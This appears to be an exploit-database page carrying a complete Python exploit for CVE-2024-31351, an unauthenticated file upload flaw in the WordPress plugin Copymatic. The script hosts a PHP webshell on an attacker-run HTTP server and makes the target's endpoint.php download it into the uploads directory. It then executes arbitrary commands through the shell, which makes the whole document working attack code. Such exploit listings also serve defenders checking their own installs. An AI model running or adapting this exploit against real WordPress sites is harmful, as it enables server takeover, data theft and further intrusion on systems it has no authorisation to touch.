Share
## https://sploitus.com/exploit?id=PACKETSTORM:226399
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Copymatic <= 1.6 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/copymatic/
    # Software Link: https://downloads.wordpress.org/plugin/copymatic.1.6.zip
    # Version: 1.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-31351
    """CVE-2024-31351 โ€” Copymatic <= 1.6 โ€” Unauthenticated Arbitrary File Upload -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Copymatic install.
    
    Root cause (copymatic/endpoint.php):
      - endpoint.php is a standalone, unauthenticated entry point. It only checks that the
        server-side option `copymatic_website_key` is set (line 11-12); the request carries no
        secret. Any anonymous POST is accepted once the plugin has been configured.
      - `featured_image` (attacker JSON) is fetched with file_get_contents() and written with
        file_put_contents() to the uploads dir using basename($image_url) as the filename, with
        NO extension/MIME validation (line 36-45). A `.php` URL yields a webshell on disk.
    
    Technique: we host the PHP webshell on a throwaway HTTP server, tell Copymatic to "download"
    it as the post's featured image, then execute it from wp-content/uploads.
    
    Usage:
      python3 CVE-2024-31351_copymatic.py --target http://localhost:8090 --lhost host.docker.internal
      ( --lhost is the address the TARGET uses to reach THIS machine; inside Docker Desktop that
        is host.docker.internal. --lport defaults to 8899. )
    """
    import argparse, json, threading, http.server, socketserver, time, sys, datetime
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    TOKEN = "CPMTC_PWNED_31351"
    SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
             "echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
    
    class PayloadHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            # serve the raw PHP source as text so the attacker server does NOT execute it
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(SHELL)))
            self.end_headers()
            self.wfile.write(SHELL)
        def log_message(self, *a): pass
    
    def start_server(port):
        socketserver.TCPServer.allow_reuse_address = True
        httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
        t = threading.Thread(target=httpd.serve_forever, daemon=True)
        t.start()
        return httpd
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="WP base URL, e.g. http://localhost:8090")
        ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
        ap.add_argument("--lport", type=int, default=8899)
        ap.add_argument("--shell-name", default="cpmtc_shell.php")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
    
        print(f"[*] Target: {base}")
        print(f"[*] Starting payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
        httpd = start_server(args.lport)
        time.sleep(0.5)
    
        image_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
        endpoint = base + "/wp-content/plugins/copymatic/endpoint.php"
        body = {"title": "lab", "content": "lab-body", "featured_image": image_url}
        print(f"[*] POST {endpoint}")
        print(f"[*]   featured_image = {image_url}")
        r = requests.post(endpoint, data=json.dumps(body),
                          headers={"Content-Type": "application/json"}, timeout=30, verify=False)
        print(f"[*] Response: HTTP {r.status_code} :: {r.text[:200]}")
    
        # webshell lands in uploads/<YYYY>/<MM>/<name>
        now = datetime.datetime.now(datetime.timezone.utc)
        candidates = [
            f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
            f"/wp-content/uploads/{args.shell_name}",
        ]
        print("[*] Verifying webshell (blackbox RCE check)...")
        for path in candidates:
            url = base + path
            try:
                rr = requests.get(url, params={"c": args.cmd}, timeout=15, verify=False)
            except Exception as e:
                print(f"    {path} -> error {e}"); continue
            if TOKEN in rr.text:
                print(f"\n[+] RCE CONFIRMED โ€” webshell at {path}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
                httpd.shutdown()
                return 0
            else:
                print(f"    {path} -> HTTP {rr.status_code} (no marker)")
        print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
        httpd.shutdown()
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())